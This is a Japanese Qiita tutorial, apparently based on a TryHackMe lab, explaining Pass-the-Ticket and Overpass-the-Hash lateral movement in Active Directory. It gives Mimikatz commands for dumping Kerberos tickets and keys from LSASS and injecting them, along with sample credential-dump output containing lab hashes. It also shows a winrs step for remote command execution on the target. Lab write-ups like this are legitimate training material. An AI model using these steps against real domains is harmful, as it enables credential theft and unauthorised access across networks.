0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Windowsにおける横移動の基本:Pass-the-Ticket と Overpass-the-Hash を理解する

0
Posted at

はじめに

Active Directory環境のペネトレーションテストにおいて、認証情報を取得した後の「横移動(Lateral Movement)」は非常に重要なフェーズです。今回は、代表的な手法である Pass-the-Ticket (PtT)Overpass-the-Hash (OPtH) の仕組みと、Mimikatzを用いた実践的な流れを解説します。


1. Pass-the-Ticket (PtT)

Pass-the-Ticket は、ユーザーのパスワードを知らなくても、メモリ(LSASSプロセス)から抽出した Kerberosチケット を再利用することで、他のサービスへアクセスする手法です。

特徴

  • TGT (Ticket Granting Ticket): 抽出には管理者権限が必要。取得できれば、そのユーザーが許可されたあらゆるサービスへのアクセス権を要求できるため、非常に強力です。
  • TGS (Ticket Granting Service): 特定のサービス(ファイル共有など)のみに有効。低権限ユーザーでも自身のセッションから抽出可能です。
  • 注意点: チケットだけでなく、対応する セッションキー も同時に抽出する必要があります。

Mimikatzでの操作例

PowerShell

# 1. 管理者権限の有効化とチケットの抽出
mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export

Authentication Id : 0 ; 575178 (00000000:0008c6ca)                              
Session           : RemoteInteractive from 3                                    
User Name         : t1_toby.beck                                                
Domain            : ZA                                                          
Logon Server      : THMDC                                                       
Logon Time        : 4/7/2026 8:45:19 AM                                         
SID               : S-1-5-21-3330634377-1326264276-632209373-4607               

         * Username : t1_toby.beck                                              
         * Domain   : ZA.TRYHACKME.COM                                          
         * Password : (null)                                                    

        Group 0 - Ticket Granting Service                                       

        Group 1 - Client Ticket ?                                               

        Group 2 - Ticket Granting Ticket 

# 2. 抽出したチケット(.kirbiファイル)を現在のセッションに注入
mimikatz # kerberos::ptt [チケットのファイル名].kirbi


# 3. 注入されたチケットの確認
klist

Current LogonId is 0:0x76e4f                                                    

Cached Tickets: (1)                                                             

#0>     Client: t2_felicia.dean @ ZA.TRYHACKME.COM                              
        Server: krbtgt/ZA.TRYHACKME.COM @ ZA.TRYHACKME.COM                      
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96                    
        Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent nam
e_canonicalize                                                                  
        Start Time: 4/7/2026 8:38:23 (local)                                    
        End Time:   4/7/2026 18:38:23 (local)                                   
        Renew Time: 4/14/2026 8:38:23 (local)                                   
        Session Key Type: AES-256-CTS-HMAC-SHA1-96                              
        Cache Flags: 0x1 -> PRIMARY                                             
        Kdc Called: THMDC.za.tryhackme.com  

2. Overpass-the-Hash (OPtH) / Pass-the-Key

Kerberos認証では、事前認証の段階でパスワードから派生した「暗号化キー」を使用します。このキー(NTLMハッシュやAESキー)を直接使ってTGTを要求する手法が Overpass-the-Hash です。

特徴

  • NTLMハッシュ、AES128、AES256などのキーがあれば実行可能。
  • 特にRC4アルゴリズムが有効な場合、NTLMハッシュをそのままキーとして利用できるため、PtH(Pass-the-Hash)のKerberos版として機能します。

Mimikatzでの操作例

mimikatz # privilege::debug
mimikatz # sekurlsa::ekeys
rc4_hmac_old_exp  9354c11666d0876b3fb9305e298929d1                   
                                                                                
Authentication Id : 0 ; 575178 (00000000:0008c6ca)                              
Session           : RemoteInteractive from 3                                    
User Name         : t1_toby.beck                                                
Domain            : ZA                                                          
Logon Server      : THMDC                                                       
Logon Time        : 4/7/2026 8:45:19 AM                                         
SID               : S-1-5-21-3330634377-1326264276-632209373-4607               
                                                                                
         * Username : t1_toby.beck                                              
         * Domain   : ZA.TRYHACKME.COM                                          
         * Password : (null)                                                    
         * Key List :                                                           
           aes256_hmac       6a0d48f79acaec013d928d84a102b72028d574340b6139e876e
179db48fbde4e                                                                   
           rc4_hmac_nt       533f1bd576caa912bdb9da284bbc60fe                   
           rc4_hmac_old      533f1bd576caa912bdb9da284bbc60fe                   
           rc4_md4           533f1bd576caa912bdb9da284bbc60fe                   
           rc4_hmac_nt_exp   533f1bd576caa912bdb9da284bbc60fe                   
           rc4_hmac_old_exp  533f1bd576caa912bdb9da284bbc60fe                   
                                                                                
Authentication Id : 0 ; 486991 (00000000:00076e4f)                              
-- More  --                     
# AES256キーを使用して、特定のユーザーとして新しいプロセスを起動
mimikatz # sekurlsa::pth /user:t1_toby.beck /domain:za.tryhackme.com /6a0d48f79acaec013d928d84a102b72028d574340b6139e876e
179db48fbde4e  /run:"cmd.exe"

3. 実践シナリオ:THMJMP2 から THMIIS への横移動

TryHackMe等の演習環境を想定した、具体的な攻撃フローは以下の通りです。

前提条件

  • 踏み台サーバー: THMJMP2
  • ターゲット: THMIIS
  • 標的ユーザー: t1_toby.beck

実行手順

  1. ログイン: 管理者権限を持つアカウントで THMJMP2 にSSH接続。

  2. キーの抽出: Mimikatzの sekurlsa::ekeyst1_toby.beck のハッシュ/キーを取得。

  3. 権限の偽装: sekurlsa::pth を実行し、t1_toby.beck の権限を持つ新しいコマンドプロンプトを立ち上げる。

  4. リモート接続: 新しいプロンプトから winrs を使用して THMIIS へ接続。

    winrs.exe -r:THMIIS.za.tryhackme.com cmd
    
    
  5. 目的達成: ターゲットサーバーのデスクトップ等にあるフラグ(機密情報)を閲覧。

       C:\Users\t1_toby.beck\Desktop>flag.exe
        flag.exe
       THM{NO_PASSWORD_NEEDED}
    

まとめ

  • PtT は「チケットそのもの」を盗む。
  • OPtH は「ハッシュ/キー」を使って、正規のチケットをKDCに発行させる。

これらの攻撃を防ぐには、特権ユーザーのログオン先を制限する(Tiered Administration)ことや、LSASSの保護(PPL)を有効化することが不可欠です

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?